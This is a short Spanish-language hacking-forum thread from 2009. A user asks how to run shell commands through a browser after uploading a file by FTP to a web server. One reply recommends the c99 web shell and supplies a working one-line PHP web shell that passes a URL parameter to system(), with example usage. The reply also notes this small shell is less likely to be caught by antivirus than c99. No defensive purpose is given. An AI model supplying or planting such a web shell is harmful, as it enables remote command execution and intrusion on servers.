Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: aggagg69 en 5 Diciembre 2009, 18:45 pm



Título: ataque con escripts de shell
Publicado por: aggagg69 en 5 Diciembre 2009, 18:45 pm
hola buenas tengo una duda quedria saver si suviendo un archivo atraves de un ftp a un servidor web

luego podria jecutar comandos atraves del mi navegador.


Título: Re: ataque con escripts de shell
Publicado por: [u]nsigned en 5 Diciembre 2009, 18:59 pm
Para que eso sea posible el server tendria que estar MUY MAL configurado..no se si te referis a script de bash o php o que?

Y de todas formas tus scripts (en caso de poder ejecutarse) correrian bajo tu user, el cual seguramente estara muy limitado.

Saludos


Título: Re: ataque con escripts de shell
Publicado por: aggagg69 en 5 Diciembre 2009, 19:07 pm
supongamos que mi usuario tiene permisos suficientes.

scritp bash o php me es indiferente quisera saver si se puede y como ejecutar el script dado que solo

tendria acceso ftp por eso la ide del navegador para ejecutar comandos shell.


Título: Re: ataque con escripts de shell
Publicado por: WHK en 5 Diciembre 2009, 21:52 pm
Si lo quieres hacer desde el navegador entonces busca la shell c99, si el servidor es un windows con antivirus de seguro te lo va a detectar asi que le subes esto:
Código
  1. <?php @system($_GET['x']); ?>

Despues le ejecutas cosas como test.php?x=dir y ya.

Esto es posible siempre y cuando en ese servidor esté instalado un servidor web y php, en el caso de que tenga asp con ssi entonces necesitas una shell del tipo para asp.

Si no tiene servidor web entonces utiliza una versión portable de php y se lo dejas corriendo.


Título: Re: ataque con escripts de shell
Publicado por: aggagg69 en 6 Diciembre 2009, 18:08 pm
tiene servidor web y php es un sitema operativo debian 2.6

asi que entonces me servira la c99?


Título: Re: ataque con escripts de shell
Publicado por: WHK en 6 Diciembre 2009, 20:24 pm
si